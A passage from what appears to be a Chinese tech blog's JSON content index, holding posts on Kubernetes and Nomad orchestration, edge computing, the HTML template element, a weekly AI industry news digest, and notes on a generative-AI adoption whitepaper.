Kubernetes（有时称为 k8s）是受 Google 内部工具 Borg 启发的项目。Kubernetes 管理资源并协调在多达数千个节点的集群上运行工作负载；它在容器编排领域的统治地位如同 Google 在搜索领域的统治地位。Google 曾在 2014 年希望与 Docker 在 Kubernetes 开发上合作，但 Docker 决定走自己的路，发展 Swarm。相反，Kubernetes 在云原生计算基金会（CNCF）的支持下成长。到 2017 年，Kubernetes 的流行度已高到 Docker 宣布将其集成到 Docker 产品中。\nKubernetes 以其复杂性而闻名。手动设置一个新集群是一项繁杂的任务，除了 Kubernetes 本身外，管理员还需选择和配置若干第三方组件。就像 Linux 内核需要结合其他软件以构成完整的操作系统一样，Kubernetes 仅是一个编排器，需结合其他软件以构成完整的集群。它需要容器引擎来运行其容器，还需要网络和持久化卷的插件。\nKubernetes 发行版存在以填补这一空白。像 Linux 发行版一样，Kubernetes 发行版将 Kubernetes 与安装程序和精选的第三方组件捆绑在一起。不同的发行版存在以满足不同的需求；几乎每家规模一定的科技公司都有其自己的发行版和/或托管产品，以迎合企业需求。minikube 项目为开发者提供了一个更简便的本地实验环境。\nKubernetes 的组成结构 一个 Kubernetes 集群包含多个软件组件。集群中的每个节点都会运行一个称为 kubelet 的代理，以保持集群成员资格并接受来自集群的工作，容器引擎，以及用于启用与其他节点上运行的容器进行网络通信的 kube-proxy。\n保持集群状态并对资源分配做出决策的组件被统称为控制平面，这包括一个分布式键值存储（etcd），一个将工作分配给集群节点的调度器，以及一个或多个控制器进程，这些进程对集群状态的变化做出反应，并触发任何必要的操作以使实际状态与所需状态相匹配。用户和集群节点通过 Kubernetes API 服务器与控制平面进行交互。为了实现变更，用户通过 API 服务器设置集群的期望状态，而 kubelet 将每个集群节点的实际状态报告给控制器进程。\nKubernetes 在一个称为 Pod 的抽象中运行容器，Pod 可以包含一个或多个容器，尽管不建议在一个 Pod 中运行多个服务的容器。相反，通常一个 Pod 会有一个提供服务的主容器，可能还有一个或多个“sidecar”容器，用于从主容器中运行的服务收集指标或日志。Pod 中的所有容器都会一起调度在同一台机器上，并共享一个网络命名空间——在同一个 Pod 中运行的容器可以通过回环接口互相通信。每个 Pod 在集群内都会收到一个唯一的 IP 地址。在不同 Pod 中运行的容器可以使用它们的集群 IP 地址相互通信。\n一个 Pod 指定了一组要运行的容器，但 Pod 的定义并没有说明要在哪些地方运行这些容器，或运行多久——在没有这些信息的情况下，Kubernetes 会在集群中某处启动容器，但不会在它们退出时重新启动它们，并可能在控制平面决定其他工作负载需要它们使用的资源时突然终止它们。因此，Pod 很少单独使用；相反，Pod 的定义通常被封装在一个 Deployment 对象中，用于定义一个持久化服务。像 Compose 和 Swarm 一样，Kubernetes 管理的对象是在 YAML 中声明的；对于 Kubernetes，这些 YAML 声明通过 kubectl 工具提交到集群。\n除了 Pod 和 Deployment，Kubernetes 还可以管理许多其他类型的对象，例如负载均衡器和授权策略。支持的 API 列表在不断演变，且会因运行的 Kubernetes 版本和集群运行的发行版而有所不同。自定义资源可以用来向集群添加 API 以管理其他类型的对象。例如，KubeVirt 增加了 API 以使 Kubernetes 能够运行虚拟机。可以使用 kubectl api-versions 命令发现特定集群支持的 API 的完整列表。\n与 Compose 不同的是，每个对象是在一个单独的 YAML 文档中声明的，尽管可以通过在同一文件中用“\u0026mdash;”分隔它们内联多个 YAML 文档，如 Kubernetes 文档中所示。一个复杂的应用程序可能由多个对象组成，其定义分布在多个文件中；在维护此类应用程序时保持所有这些定义同步可能相当繁琐。为了使这项工作更容易，一些 Kubernetes 管理员转向了模板工具如 Jsonnet。\nHelm 与应用部署 Helm 进一步推进了模板化的方法。与 Kubernetes 一样，Helm 的开发在 CNCF 的支持下进行；它被誉为“Kubernetes 的包管理器”。Helm 从一组称为 chart 的模板和变量声明集合中生成 Kubernetes 的 YAML 配置。其模板语言与 Ansible 的 Jinja 模板不同，但看起来非常相似；熟悉 Ansible 角色的人可能会对 Helm 图表感到得心应手。\nHelm 图表的集合可以在 Helm 存储库中发布；Artifact Hub 提供了一个公共 Helm 存储库的大型目录。管理员可以将这些存储库添加到他们的 Helm 配置中，并使用现成的 Helm 图表将预打包的流行应用程序版本部署到他们的集群。最近版本的 Helm 还支持将图表推送和拉取到容器注册表中，从而为管理员提供了将图表存储在与容器镜像相同位置的选项。\nKubernetes 在短期内没有失去势头的迹象。它被设计为可以管理任何类型的资源；这种灵活性，如通过 KubeVirt 虚拟机控制器所示，即使容器化工作负载最终失宠，它也有可能保持相关性。开发进展迅速，定期发布新版本。版本支持为期一年；似乎没有长期支持版本。支持集群升级，但一些人更愿意建立一个新集群并迁移他们的服务。\nNomad 的简单替代方案 Nomad 是 HashiCorp 推出的编排器，作为 Kubernetes 的简单替代方案进行营销。Nomad 是一个开源项目，像 Docker 和 Kubernetes 一样。它由一个名为 nomad 的二进制文件组成，可用于启动一个称为代理的守护程序，并作为 CLI 与代理进行通信。根据其配置方式，代理进程可以以两种模式之一运行。在服务器模式下运行的代理接受作业并为它们分配集群资源。在客户端模式下运行的代理与服务器联系以接收作业、运行它们，并向服务器报告其状态。代理还可以在开发模式下运行，在这种模式下，它同时承担客户端和服务器的角色，形成一个可用于测试目的的单节点集群。\n创建一个 Nomad 集群可能相当简单。在 Nomad 的最基本操作模式下，必须启动初始服务器代理，然后可以使用 nomad server join 命令将其他节点添加到集群中。HashiCorp 还提供了 Consul，这是一种通用服务网格和发现工具。虽然可以单独使用，但 Nomad 与 Consul 结合使用时可能表现最佳。Nomad 代理可以使用 Consul 自动发现和加入集群，并且可以执行健康检查、提供 DNS 记录以及为集群上运行的服务提供 HTTPS 代理。\nNomad 支持复杂的集群拓扑。每个集群分为一个或多个“数据中心”。与 Swarm 类似，单个数据中心内的服务器代理使用一种基于 Raft 的协议进行通信；该协议具有严格的延迟要求，但多个数据中心可以使用一种允许信息在集群中传播的流言协议链接在一起，而无需每个服务器都与每个其他服务器保持直接连接。从用户的角度来看，以这种方式链接在一起的数据中心可以作为一个集群运作。这种架构在扩展到巨大的集群时为 Nomad 带来优势。Kubernetes 官方支持最多 5000 个节点和 300000 个容器，而 Nomad 的文档引用了包含超过 10000 个节点和 200 万个容器的集群示例。\n与 Kubernetes 类似，Nomad 不包括容器引擎或运行时。它使用任务驱动程序来运行作业。使用 Docker 和 Podman 运行容器的任务驱动程序已包含在内；社区支持的驱动程序可用于其他容器引擎。同样与 Kubernetes 类似，Nomad 的野心不限于容器；还有其他类型工作负载的任务驱动程序，包括一个简单地在主机上运行命令的 fork/exec 驱动程序、用于运行虚拟机的 QEMU 驱动程序和用于启动 Java 应用程序的 Java 驱动程序。社区支持的任务驱动程序将 Nomad 连接到其他类型的工作负载。\n与 Docker 或 Kubernetes 不同，Nomad 避开了 YAML，而是采用 HashiCorp 配置语言（HCL），该语言最初是为另一个 HashiCorp 项目 Terraform 创建的，用于云资源的配置。HCL 在 HashiCorp 产品线中使用广泛，尽管在其他地方采用有限。用 HCL 编写的文档可以轻松转换为 JSON，但其目标是提供比 JSON 更便于手指输入且比 YAML 更不易出错的语法。\nHashiCorp 的 Helm 等效工具称为 Nomad Pack。像 Helm 一样，Nomad Pack 处理包含模板和变量声明的目录以生成作业配置。Nomad 还具有一个社区注册表，用于预打包应用程序，但可用选择远少于 Artifact Hub 的 Helm。\nNomad 没有 Kubernetes 那样的受欢迎程度。像 Swarm 一样，其开发似乎主要由其创建者推动；虽然它已被许多大公司部署，但 HashiCorp 仍然是 Nomad 社区的中心。此时，项目似乎不太可能获得足够的动力以独立于其企业母公司存在。用户或许可以从 HashiCorp 更明确地致力于 Nomad 的开发和推广中找到一些保证，这与 Docker 对 Swarm 的承诺形成鲜明对比。\n结论 Swarm、Kubernetes 和 Nomad 并不是唯一的容器编排器，但它们是三个最具生命力的工具。Apache Mesos 也可以用于运行容器，但在 2021 年几乎被搁置；基于 Mesos 的 DC/OS 也面临类似的情况，支持其发展的社区和商业实体正在寻找新的方向。尽管如此，Swarm、Kubernetes 和 Nomad 仍然是当前市场上最受欢迎和最活跃的容器编排解决方案，它们各自提供了不同的功能和优势，以满足不同规模和需求的企业。随着技术的不断进步和市场的变化，这些工具将继续演化，以适应未来的挑战和机遇。\n","date":"2024-08-10T05:18:45Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2024-08-10-rong-qi-bian-pai-gong-ju-de-yan-jin-cong-docker-dao-kubernet/cover.jpg","permalink":"/p/2024-08-10-rong-qi-bian-pai-gong-ju-de-yan-jin-cong-docker-dao-kubernet/","title":"容器编排工具的演进：从 Docker 到 Kubernetes"},{"content":"在科技飞速发展的今天，互联网正逐步迈向一个新的时代。在这个时代，边缘计算成为了一个不可忽视的重要趋势。它不仅能够提高网站和应用的性能，还能为全球用户提供更快、更安全的体验。本文将探讨边缘计算如何改变我们对互联网的理解，以及它对开发者和用户的深远影响。\n边缘计算的基本概念 首先，我们需要了解什么是边缘计算。简单来说，边缘计算指的是将计算和数据存储从传统的集中式数据中心转移到更靠近用户的地理位置。这意味着网站或应用程序不再只托管在单一服务器上，而是同时存在于全球多个服务器上。当用户请求访问网站或应用时，系统会将其指引到离他们最近的服务器上。这种方式不仅能减少延迟，还能提供更快的响应时间。\n边缘计算的技术优势 在传统的集中式服务器模型中，所有请求都需要经过中心服务器处理，这可能导致延迟增加，特别是对于距离服务器较远的用户。而通过边缘计算，服务器可以更靠近用户所在的地理位置，大大减少了数据传输的距离和时间。这种优化的物理布局能够显著提升页面加载速度，从而减少用户流失。\n根据谷歌的研究显示，当页面加载时间从 1 秒增加到 3 秒时，用户流失率增加了 32%；而当加载时间达到 5 秒时，流失率则增加到 90%。在边缘计算的帮助下，许多网站能够保持较低的延迟，提升用户体验。\n解决全球性能问题 举个例子，如果你在美国北弗吉尼亚的 AWS 数据中心托管一个应用程序，虽然这对美国东海岸的用户来说响应迅速，但对于其他地区的用户来说，响应时间可能就没那么理想了。对于位于德国法兰克福的用户，请求可能需要 339.95 毫秒才能得到响应；而对于新加坡和悉尼的用户，这一时间可能高达 944.14 毫秒和 889.85 毫秒。\n通过使用边缘计算，如 Deno Deploy，服务器可以更靠近用户。以 Deno 为例，除新加坡外，全球大部分地区的响应时间都在 100 毫秒以内。这是因为系统会自动选择离用户最近的边缘服务器，确保最快的响应时间。\n边缘计算的历史演变 边缘计算并不是凭空产生的，它是互联网技术不断演进的结果。1969 年的 RFC 提出了服务器的概念，这为后来的网络发展奠定了基础。随着互联网的普及和网站流量的激增，CDN（内容分发网络）应运而生。Akamai 在 1998 年推出的首个 CDN，解决了“热点”问题，即服务器因流量过大而崩溃的问题。CDN 通过在全球范围内缓存静态内容，将用户请求引导至最近的服务器，提高了响应速度。\n而无服务器架构的出现，则为开发者提供了一种更加灵活和高效的方式来部署应用程序。AWS Lambda 是首个广泛使用的无服务器框架，通过事件驱动的方式，服务器仅在有请求时 才会启动，减少了资源的浪费。\n边缘计算的优越性 边缘计算结合了 CDN 的地理优势和无服务器架构的动态优势。通过在用户附近执行自定义代码，边缘计算带来了以下几大好处：\n提升性能 边缘计算的最大优势在于性能的提升。网站和应用程序在接近用户的边缘服务器上运行，响应速度更快。此外，计算在边缘服务器上进行，而不是在用户的浏览器中，这使得应用程序对用户设备的资源占用更少，减少了 CPU 和内存的使用，并降低了浏览器崩溃的风险。同时，发送给用户的数据量更小，带宽使用更少，确保了函数和 API 的一致性行为。\n增强安全性 将计算从客户端转移到边缘服务器也减少了应用程序受到攻击的风险。正如 Deno 的 DX 工程负责人 Kitson Kelly 所说，“这意味着你立即减少了暴露给终端用户的攻击面。”在边缘服务器上执行计算，减少了与后端服务的 API 调用，从而提升了安全性。此外，边缘计算还能有效抵御 DDoS 攻击，因为攻击者需要同时攻击全球数十甚至数百个服务器才能奏效。\n改善开发者体验 尽管目前为边缘开发代码较为复杂，但这主要是因为边缘开发的混合特性。许多框架尚未完全支持边缘优先的开发模式，这迫使开发者在服务器端渲染和浏览器渲染之间进行选择。然而，新兴框架如 Fresh，则通过默认不向客户端发送 JavaScript，简化了边缘优化过程。开发者使用 Fresh 和 Deno Deploy 的全球分布式 JavaScript 无服务器边缘网络，能够实现如 Lighthouse 评分满分的性能优化。\n结论 边缘计算代表了互联网发展的下一阶段。从 IBM 360/91 到 Berners-Lee 的 NeXT 机器，再到 Akamai 的 CDN 和亚马逊的数据中心，无服务器架构以及如今的边缘计算。每一个阶段都是在前一阶段的基础上发展而来，汲取经验，修正错误。边缘计算将使互联网成为一个更快、更安全的场所，为用户和开发者带来更好的体验。\n希望本文能帮助大家更好地理解边缘计算的价值及其对未来互联网的影响。如果你有任何想法或疑问，欢迎在评论中与我们交流！\n","date":"2024-08-10T05:18:45Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2024-08-10-da-zao-hu-lian-wang-wei-lai-bian-yuan-ji-suan-yin-ling-xin-q/cover.jpg","permalink":"/p/2024-08-10-da-zao-hu-lian-wang-wei-lai-bian-yuan-ji-suan-yin-ling-xin-q/","title":"打造互联网未来：边缘计算引领新趋势"},{"content":"\n在现代网页开发中，动态内容的生成和管理是一个重要的方面。为了简化这一过程，HTML5 引入了一个非常实用的元素——\u0026lt;template\u0026gt;。它为我们提供了一种灵活且高效的方式来管理和插入复杂的 HTML 结构。\n什么是 \u0026lt;template\u0026gt; 元素？ 简单来说，\u0026lt;template\u0026gt; 元素是用来存储 HTML 片段的，这些片段在初始加载时并不呈现。它们仅在需要时才会被克隆并插入到 DOM 中。与普通隐藏元素不同，\u0026lt;template\u0026gt; 元素的内容是惰性的，这意味着其中的图片不会加载，脚本不会执行，样式也不会应用。\n为什么使用 \u0026lt;template\u0026gt; 元素？ 在许多情况下，我们需要在网页加载后动态地添加复杂的 HTML 结构。如果完全依赖 JavaScript 来创建这些结构，可能会导致代码繁琐、复杂，尤其是当结构包含多个嵌套元素和属性时。\n以下是一个使用 \u0026lt;template\u0026gt; 元素的简单示例：\n1\u0026lt;template id=\u0026#34;burger-template\u0026#34;\u0026gt; 2 \u0026lt;button type=\u0026#34;button\u0026#34; aria-expanded=\u0026#34;false\u0026#34; aria-label=\u0026#34;Menu\u0026#34; aria-controls=\u0026#34;mainnav\u0026#34;\u0026gt; 3 \u0026lt;svg width=\u0026#34;24\u0026#34; height=\u0026#34;24\u0026#34; aria-hidden=\u0026#34;true\u0026#34;\u0026gt; 4 \u0026lt;path d=\u0026#34;M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\u0026#34;\u0026gt; 5 \u0026lt;/svg\u0026gt; 6 \u0026lt;/button\u0026gt; 7\u0026lt;/template\u0026gt; 在这个例子中，我们定义了一个存储按钮的模板。这个按钮只有在 JavaScript 运行时才会被插入到页面中，从而保持页面的语义分离和代码的简洁性。\n如何使用 \u0026lt;template\u0026gt; 元素？ 使用 \u0026lt;template\u0026gt; 元素非常简单。首先，我们在 HTML 中定义一个模板元素，并赋予它一个唯一的 ID。然后，在 JavaScript 中，我们可以通过以下步骤来克隆和插入模板内容：\n1const template = document.querySelector(\u0026#39;#burger-template\u0026#39;); 2const content = template.content.cloneNode(true); 3container.append(content); 通过这种方式，我们可以将模板的内容克隆到指定的容器中。值得注意的是，这一过程不仅限于单次使用。您可以根据需要多次克隆和插入模板内容。\n实际应用中的例子 在实际开发中，\u0026lt;template\u0026gt; 元素被广泛用于创建动态列表、表格行、交互式组件等。例如，在 Sass Guidelines 网站中，使用模板来动态注入 GitHub 链接，以便用户可以直接编辑视图或每个章节。这些链接原本应该始终存在，但由于该网站是由 Markdown 文件构建的，因此需要通过 JavaScript 动态生成。\n浏览器支持情况 令人惊讶的是，几乎 98% 的现代浏览器都支持 \u0026lt;template\u0026gt; 元素。因此，在大多数情况下，您可以放心使用这一功能。如果您需要兼容旧版浏览器，可以通过以下方式检测支持情况：\n1if (\u0026#39;content\u0026#39; in document.createElement(\u0026#39;template\u0026#39;)) { 2 // `\u0026lt;template\u0026gt;` 受支持。 3} 为什么不使用隐藏元素？ 有读者可能会问，为什么不直接使用隐藏的 DOM 元素，例如 \u0026lt;div\u0026gt;，来存储模板内容呢？\n虽然这两者在某种程度上看似相似，但使用 \u0026lt;template\u0026gt; 元素有几个显著优势：\n惰性加载：与隐藏的容器不同，\u0026lt;template\u0026gt; 的内容不会自动加载。这意味着其中的图片和脚本不会被执行，从而提高了页面性能。\n灵活性：\u0026lt;template\u0026gt; 可以包含任何 HTML 结构，而无需考虑 HTML 验证器的限制。例如，您可以在 \u0026lt;template\u0026gt; 中包含 \u0026lt;td\u0026gt;、\u0026lt;li\u0026gt; 或 \u0026lt;dd\u0026gt; 等元素，而这些元素通常要求特定的父元素。\n语义性：\u0026lt;template\u0026gt; 是专门为存储模板设计的，因此它在语义上更为清晰，尤其是对于第三方工具和扩展来说。\n安全性：使用 CSS 隐藏元素并不可靠，因为 CSS 可能被禁用或覆盖。而 \u0026lt;template\u0026gt; 元素总是默认隐藏，即使在没有 CSS 的情况下也能保持其不可见性。\nSEO 考虑：搜索引擎可能会索引通过 CSS 隐藏的内容，这可能导致不必要的模板数据被索引。而使用 \u0026lt;template\u0026gt; 则无需担心这一问题。\n总结 总的来说，HTML 的 \u0026lt;template\u0026gt; 元素为开发者提供了一种高效管理动态内容的方法。对于简单的节点操作，我们可以使用内置的 DOM 操作方法，但对于更复杂的结构，使用 \u0026lt;template\u0026gt; 无疑是更好的选择。\n希望本文能帮助您更好地理解和应用 \u0026lt;template\u0026gt; 元素。如果您有任何问题或建议，欢迎在评论区与我们分享！\n","date":"2024-08-10T05:18:45Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2024-08-10-html-zhong-de-template-yuan-su-ti-sheng-dong-tai-wang-ye-de-/cover.jpg","permalink":"/p/2024-08-10-html-zhong-de-template-yuan-su-ti-sheng-dong-tai-wang-ye-de/","title":"HTML 中的 \u003ctemplate\u003e 元素：提升动态网页的最佳工具"},{"content":"OpenAI 联合创始人离职加入竞争对手 Anthropic，总裁休长假 OpenAI 的联合创始人之一 John Schulman 离开了公司，加入了与其竞争的人工智能初创公司 Anthropic。与此同时，OpenAI 的总裁兼联合创始人 Greg Brockman 也将休一个长假，直到年底。Schulman 在创建 AI 驱动的聊天机器人平台 ChatGPT 和领导 OpenAI 的一致性科学努力中发挥了关键作用，他表示，他之所以做出这一举动，是因为他更希望专注于 AI 一致性和实际的技术工作。去年加入 OpenAI 的产品管理人 Peter Deng 也已离开公司。随着这些离职，OpenAI 的原始 11 位创始人中只剩下 3 位：CEO Sam Altman、Brockman 和 Wojciech Zaremba，后者是语言和代码生成的负责人。\n马斯克重新对 OpenAI 提起诉讼 Elon Musk 重新对 OpenAI 提起诉讼，这是一家由 AI 聊天机器人 ChatGPT 的创造者运营的公司，重新点燃了源自旧金山初创公司内部权力冲突的长期争议。这起诉讼在北加州联邦法院提起，指控 OpenAI 及其联合创始人 Sam Altman 和 Greg Brockman 违反了公司创始协议，将商业利益置于公共福利之上。马斯克之前在法官即将决定是否驳回诉讼的前一天撤回了最初的诉讼，没有提供原因。诉讼声称，Altman 和 Brockman 在与微软达成数十亿美元的合作伙伴关系时，偏离了他们最初承诺负责任地开发人工智能以造福人类的承诺。\nStable Diffusion 创作者推出新的开源 AI 模型 由 Stable Diffusion 的创作者创立的初创公司 Black Forest Labs 推出了 FLUX.1，这是一套新的文本到图像的模型，面向开源人工智能社区。由 Robin Rombach、Patrick Esser 和 Andreas Blattmann 领导的公司已获得 3100 万美元的种子资金，Andreessen Horowitz 领投。FLUX.1 有三个变体，都拥有 120 亿参数和多模态和并行扩散变换器块的混合架构。FLUX.1 的推出被视为民主化强大 AI 工具的重要里程碑，有潜力重塑 AI 行业，并影响开源与闭源开发模式的辩论。\nPerplexity AI 计划与新闻发布商分享广告收入 使用聊天机器人响应用户查询的初创公司 Perplexity AI 计划与其聊天机器人使用的内容的新闻发布商分享广告收入。这一举措是对剽窃和不道德网络抓取的指控的回应。该公司的首批发布合作伙伴包括 Automattic、Der Spiegel、Entrepreneur、Fortune、The Texas Tribune 和 TIME。这些发布商将获得 Perplexity 的 API 和开发人员支持，使他们能够在自己的网站上创建自定义答案引擎。收入分享模式将在 Perplexity 在未来几个月开始在其平台上展示广告后实施。该公司尚未披露将分享的具体广告收入百分比，但确认将是“两位数”。\nMeta 推出 AI Studio 工具 Meta 推出了一个名为 AI Studio 的新工具，允许美国用户在 Instagram 或网络上创建自己的 AI 版本。该工具面向创作者和企业主，他们可以使用这些 AI 个人资料与粉丝互动、回应评论，甚至自动回复。AI 可以根据用户的 Instagram 内容、要避免的主题和要分享的链接进行定制。AI Studio 还支持创建全新的 AI 角色，这些角色可以跨 Meta 的应用使用，与 Character.AI 和 Replika 等初创公司竞争。尽管存在 AI 名人版本说出有问题的话的潜在问题，Meta 仍在推进这一概念，最初与一些名人进行了测试。\n微软在 Bing 搜索结果中添加 AI 驱动的摘要 微软正在向 Bing 搜索结果添加 AI 驱动的摘要，提供由 AI 编译的原始响应，这些响应位于通常的搜索命中之上，目前只有一小部分用户查询的预览可用。\nNIST 发布测试 AI 模型风险的工具 国家标准与技术研究院 (NIST) 发布了 Dioptra，这是一个开源工具，旨在衡量恶意攻击可能会降低 AI 系统性能的程度，目的是帮助公司和用户评估、分析和跟踪 AI 风险。\nGoogle 发布新的“开放”AI 模型，重点关注安全性 Google 发布了新的“开放”AI 模型，重点关注安全性，包括一个轻量级文本生成器、安全分类器和一个使 AI 模型更易于解释的工具，以促进开发者社区内的善意，并扩大生成性 AI 的可用性。\nStability AI 发布超快速 3D 资产图像生成模型 开源生成性人工智能初创公司 Stability AI 一直在推出新的 AI 模型，这些模型可以从 2D 图像生成 3D 资产，并捕捉 3D 中的运动。\nChatGPT 的新语音模式唱歌、模仿口音并纠正发音 OpenAI 的 ChatGPT 的新高级语音模式给用户留下了深刻印象，它能够唱歌、模仿口音，并在多种语言中纠正语言发音。\nRunway 在 Gen3 中推出图像到视频功能 Runway 的 Gen-3 AI 模型现在配备了图像到视频的能力，提供了改进的角色一致性和超现实主义，允许运动或文本提示引导 AI 模型的视频生成，这是 AI 视频工具的重大进步。\nMidjourney 意外发布 v6.1 更新 - 现在人类看起来比以往更真实 Midjourney 的意外 v6.1 更新显著提高了人类特征和文本渲染的真实性，尽管其迭代编号，但这是一个重大升级。\nMeta AI 推出 Meta Segment Anything Model 2 (SAM 2)：第一个统一的图像和视频对象分割模型 Meta 推出了 SAM 2，这是一个统一的模型，用于实时图像和视频中的对象分割，提供效率、多功能性和开源协作。\nAI 驱动的项链将以 99 美元的价格成为您的朋友 一款名为 friend 的即将推出的 AI 驱动项链，这是一个始终监听的吊坠，旨在通过发起对话并通过文本回应，如果您感到孤独，可以陪伴您，但需要轻敲并在智能手机上读取响应。\nAI 芯片初创公司 Groq 获得 6.4 亿美元投资以挑战 Nvidia 正在开发 AI 芯片的初创公司 Groq 筹集了 6.4 亿美元的资金，计划为生成性 AI 模型创建更快、更节能的芯片，同时面临来自 Nvidia 等行业巨头和其他初创公司的竞争。\n中国 AI 基于开源代码在聊天机器人基准测试中与美国技术相匹配 基于开源代码构建的中国 AI 在聊天机器人基准测试中与美国技术相匹配，展示了中国公司是如何通过开源合作迎头赶上并引领 AI 发展，尽管存在硬件禁令和潜在的美国法规。\n由 Sam Altman 支持的 Rain AI 聘请苹果芯片资深人士领导硬件工程 Rain AI 聘请了一位苹果芯片高管来领导硬件工程，这是这家初创公司的第二次高调招聘，旨在为人工智能设计一种新型半导体。\n泄露的文件显示 Nvidia 每天抓取“人类一生”的视频来训练 AI Nvidia 正在从各种来源抓取视频，为其 AI 产品编译训练数据，该公司为这种做法辩护，称其符合版权法。\nNvidia 据报道因设计缺陷推迟其下一代 AI 芯片 Nvidia 因设计缺陷至少推迟了其“Blackwell” B200 AI 芯片的生产三个月，这影响了主要的云服务提供商。\nVimeo 宣布 AI 驱动的视频翻译与真实声音克隆 Vimeo 推出了一项 AI 驱动的视频翻译解决方案，使用生成性 AI 将视频、音频和字幕翻译成多种语言，同时保持原始演讲者的声音，简化了业务流程，并使组织能够以前所未有的便捷和速度接触到全球受众。\n生成性 AI 迫使媒体公司选择许可或诉讼 媒体公司正在努力决定是起诉使用其版权作品的 AI 公司，还是与它们签订许可协议，因为待决诉讼的结果可能决定训练生成性 AI 模型的许可市场的未来发展。\n中国自动驾驶公司 WeRide 计划在美国 IPO 中国自动驾驶初创公司 WeRide 计划在美国上市，面临与中国政府相关的法律和运营风险，而 AI 的崛起引发了关于自动驾驶车辆可扩展性的问题。\n苹果智能将在即将推出的 iOS 18 大修的初始发布中错过 苹果的人工智能功能将错过 iOS 18 的初始发布，这给了公司更多的时间来修复错误。\n亚马逊雇佣初创公司 Adept AI 的顶尖人才后，投资者将得到偿还 尽管监管机构对招聘的性质表示担忧，但在亚马逊雇佣了初创公司 Adept AI 的顶尖人才后，Adept AI 的投资者将得到偿还。\nNeura 展示人形机器人 4NE-1 Neura 的人形机器人 4NE-1 在宣传视频中展示，展示了各种活动，并突显了该公司与 Nvidia 机器人产品组合的合作。\nCanva 收购 Leonardo.ai 以加强其生成性 AI 努力 Canva 收购了 Leonardo.ai，这是一家生成性 AI 内容和研究初创公司，以深化其在 AI 技术栈的投资并扩大其生成性 AI 能力。\n腾讯加入中国 AI 独角兽公司的 3 亿美元融资 腾讯为中国市场的 AI 初创公司 Moonshot 贡献了 3 亿美元的融资，跟随阿里巴巴的脚步，使 Moonshot 的估值达到 30 亿美元。\n斯坦福工程与丰田研究所 斯坦福工程与丰田研究所在自动驾驶领域实现了一个里程碑，创建了世界上第一支由 AI 指挥的无人驾驶车队，使用 AI 指导两辆无人驾驶汽车执行同步机动。\n英国反垄断机构调查谷歌与 AI 竞争对手 Anthropic 的关系 英国反垄断机构正在调查谷歌对 AI 竞争对手 Anthropic 的投资，引发了对潜在控制年轻创新者而未引起监管审查的担忧。\n马斯克发布的哈里斯深度伪造视频违反了 X 政策 马斯克分享了哈里斯的深度伪造视频，可能违反了平台反对合成和操纵媒体的政策，引发了对即将到来的选举中 AI 修改内容的担忧。\n旧金山市长承诺在学区警卫告诉 NBC 湾区无人驾驶汽车几乎撞到他们之后进行问责 旧金山官员计划解决学区警卫对 Waymo 无人驾驶汽车提出的安全问题，市长承诺问责并为警卫提供新的培训。\n世界上第一项 AI 法律现在在欧洲执行，目标是美国科技巨头 欧洲执行了世界上第一项 AI 法律，目标是美国科技巨头，对 AI 的开发、部署和使用进行监管，对高风险 AI 系统实施更严格的规则，并禁止“不可接受”的 AI 应用，并对不合规行为进行处罚。\n白宫表示目前无需限制“开源”人工智能 白宫表示目前无需限制“开源”人工智能。\n我们需要基于福祉的积极愿景来发展人工智能 AI 对社会的变革性影响要求转向开发理解和支持个人和社会福祉的 AI 系统，需要积极的愿景和具体措施来指导 AI 的发展和部署。\n马斯克表示 Robotaxis 是特斯拉的未来，但专家们表示怀疑 马斯克认为特斯拉的未来在于人工智能和无人驾驶出租车，但专家们对公司实现这一愿景的能力表示怀疑。\n“人工智能教母”表示加州的 AI 法案将损害美国生态系统 加州 AI 法案 SB-1047 的意外后果将损害 AI 生态系统，惩罚开发者，扼杀开源发展，并削弱公共部门和学术界的 AI 研究。\n","date":"2024-08-10T05:18:45Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2024-08-10-ai-hang-ye-yi-zhou-dong-tai-openai-nei-bu-fen-zheng-zai-qi-s/cover.jpg","permalink":"/p/2024-08-10-ai-hang-ye-yi-zhou-dong-tai-openai-nei-bu-fen-zheng-zai-qi-s/","title":"AI 行业一周动态--OpenAI 内部纷争再起，Stable Diffusion 创作者归来"},{"content":"今天读完了《生成式 AI 商业落地白皮书》 我觉得写得很好，尤其其中对 “创新价值”那部分的论述很精彩，所以做了一个精彩内容的摘要和笔记。\n这份白皮书涵盖 12 个行业的 220 个关键场景，关注我私信 “白皮书” 可以获得原始文件。\n生成式 AI 商业落地现状 近些日子以来，模型推理价格相对去年降低 99%，极低的成本使得大语言模型的商业化应用变得更加可行，不仅对大型企业有利，也为中小企业提供了前所未有的机会\n总体而言，自身科技化程度高或市场竞争压力大的行业，往往在推动生成式 AI 落地这块走在前列。\n消费品行业有 56% 的企业在产品研发中使用生成式 AI，汽车行业在营销（80%）和销售（84%）方面的应用尤为突出。智能终端厂商在搜索模块的 AI 应用率达到 90%。医药大健康行业和制造业在 IT、销售和营销领域也都有广泛应用，\n53% 的大企业 开始落地生成式 AI 创新。显而易见，超过半数的企业已经意识到生成式 AI 的重要性，并开始在这方面投入资源和精力。\n中国企业的生成式 AI 应用逐渐进入全面发展期\n中国先发企业的生成式 AI 项目将为企业带来平均 10% 的成本缩减 一些先发企业已经开始系统性思考和落地生成式 AI，其中的佼佼者甚 至已经开始收获生成式 AI 带来的效益。数据显示，有 37% 的 CIO/CDO（首席信息官/首席数字官）表示其企业的生成式 AI 项目将带来超过 10% 的成本缩减，其中 21% 的高管预期成本将降低 10-19%，16% 的高管预期成本将降低 20% 以上。\n同时，高管们对生成式 AI 提升效率的效果也有积极的预期。26% 的高管预计生成式 AI 将带来超过 10% 的效率提升。这意味着，生成式 AI 不仅有助于降低成本，还能 显著提高企业的运营效率，为企业在竞争激烈的市场中提供了强有力的支持。\n除了降本增效之外，生成式 AI 还正在给先发企业带来这 些不可量化的优势：\n为用户提供更高专业和更个性化的服务 采集和分析更多维度的非结构化数据 建立行业的知识库并赋能上下游生态 开辟脑力密集型业务的新商业模式 CIO/CDO 心中最有价值的场景 生成式 AI 落地的 6 大挑战 如何评估创新价值，获取项目资源 生成式 AI 是新兴技术，企业在投入之初往往难以准确评估其商业价值。这主要有以下几方面原因：\n生成式AI能力边界有待验证 应用人才稀 大模型能力依赖配 新技术导入需配套变革管理 生成式 AI 